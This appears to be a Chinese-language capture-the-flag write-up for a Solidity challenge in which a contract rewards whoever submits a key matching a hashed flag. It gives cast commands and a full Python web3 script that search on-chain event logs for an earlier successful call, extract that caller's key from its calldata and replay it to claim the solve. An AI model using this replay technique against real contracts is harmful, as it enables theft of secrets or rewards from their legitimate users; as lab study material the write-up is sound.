
查看给到的两个附件
Rivals.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Rivals {
event Voice(uint256 indexed severity);
bytes32 private encryptedFlag;
bytes32 private hashedFlag;
address public solver;
constructor(bytes32 _encrypted, bytes32 _hashed) {
encryptedFlag = _encrypted;
hashedFlag = _hashed;
}
function talk(bytes32 _key) external {
bytes32 _flag = _key ^ encryptedFlag;
if (keccak256(abi.encode(_flag)) == hashedFlag) {
solver = msg.sender;
emit Voice(5);
} else {
emit Voice(block.timestamp % 5);
}
}
}
定义了事件 Voice、bytes32变量 encryptedFlag、hashedFlag、地址变量 solver、函数talk()
Voice 记录了每次调用 talk()的结果,其中indexed 关键字允许我们通过在链上通过值来查询状态
然后构造函数在合约部署的时候接受_encrypted、_hashed 赋值给encryptedFlag、hashedFlag
调用 talk()函数时传入的 _key 将异或encryptedFlag,然后算出的 hash 值如果等于hashedFlag,就将solver 设置为 msg.sender,并且将事件值记录为 5
setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Rivals} from "./Rivals.sol";
contract Setup {
Rivals public immutable TARGET;
constructor(bytes32 _encryptedFlag, bytes32 _hashed) payable {
TARGET = new Rivals(_encryptedFlag, _hashed);
}
function isSolved(address _player) public view returns (bool) {
return TARGET.solver() == _player;
}
}
可以知道当 solver 为我们自己的地址的时候,我们就完成挑战
我们没有任何已知的消息,如果使用暴力破解计算key,那么 byte32,32 个字节,1 字节 8 位,有 2^256 种可能,结合题目,盗贼的荣誉加上indexed 关键字可以查询
感觉 log 中应该有关键信息
cast call <target address> "solver()(address)" --rpc-url <rpc url> --from <address> --private-key <private key> --interactive

按照道理来说,初始化之后,solver 我们还没挑战成功,没有值,应该是 0x0,所以这表示这之前有一个地址成功用 key 匹配到了hashedFlag,那么我们只需要查询 log 中的 Voice 事件为 5 的信息即可,就可以偷到他的 key
cast logs "event Voice(uint256 indexed severity)" --from-block earliest --to-block latest --rpc-url $RPC
但是输出之后我们会发现有很多区块信息,那么我们就需要过滤一下
写一个脚本
from web3 import Web3
import requests
import json
url = "http://94.237.59.180:43695"
info = json.loads(requests.get(url + "/connection_info").content)
privkey = info["PrivateKey"]
target_addr = info["TargetAddress"]
pub_address = info["Address"]
w3 = Web3(Web3.HTTPProvider(url + '/rpc'))
def string_to_bytes32(text):
return Web3.to_bytes(text=text).ljust(32, b'\0')
contract = w3.eth.contract(address=target_addr, abi=open("abi.json", "r").read())
# 获取事件签名的 Keccak 哈希值
event_signature = Web3.keccak(text='Voice(uint256)').hex()
# 使用 web3.eth.filter 创建过滤器
filter_params = {
'fromBlock': 0,
'address': target_addr,
'topics': [event_signature]
}
event_filter = w3.eth.filter(filter_params)
logs = event_filter.get_all_entries()
tx_hash = None # 初始化 tx_hash 变量
for log in logs:
tx_receipt = w3.eth.wait_for_transaction_receipt(log['transactionHash'].hex())
if tx_receipt['logs'][0]['topics'][1] == b'\x00'*31 + b'\x05':
print("find!!!")
tx_hash = log['transactionHash'].hex()
print(f"Transaction Hash: {tx_hash}") # 输出 transaction hash 的值
break
if tx_hash is None:
print("No matching transaction found.")
else:
key = w3.eth.get_transaction(tx_hash)['input'].hex()
key = bytes.fromhex(key[2:])[4:] # key is including function selector which is 4 bytes
# 将 key 转换为 bytes32 类型
key_bytes32 = w3.to_bytes(hexstr=key.hex().ljust(64, '0'))
transaction = contract.functions.talk(key_bytes32).build_transaction(
{
"chainId": w3.eth.chain_id,
"gasPrice": w3.eth.gas_price,
"from": pub_address,
"nonce": w3.eth.get_transaction_count(pub_address),
"value": 0
}
)
# 签名交易
sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=privkey)
# 发送已签名的交易
tx_hash_new = w3.eth.send_raw_transaction(sign_transaction.raw_transaction)
tx_receipt_new = w3.eth.wait_for_transaction_receipt(tx_hash_new)
print(f"New Transaction Hash: {tx_hash_new.hex()}") # 输出新交易的 transaction hash
print(requests.get(url + '/flag').content.decode())
脚本本意只是获取transactionHash,所以目的算是达成了,后续可以依靠 foundry 自行获取 key 值

依靠transactionHash 获取交易详情的 input
cast tx <transactionHash> --rpc-url <rpc url>

这个 input 需要解密获取 key
cast calldata-decode "talk(bytes32)" 0x52eab0faca49874812ce85f1e1090f791fdc59b21fa71d88e9f74717b24834cffd4f04bf

依靠偷到的 key 进行交互
cast send <target address> "talk(bytes32)" <key> --rpc-url <rpc url> --interactive
打开 /flag 就可以


Comments | NOTHING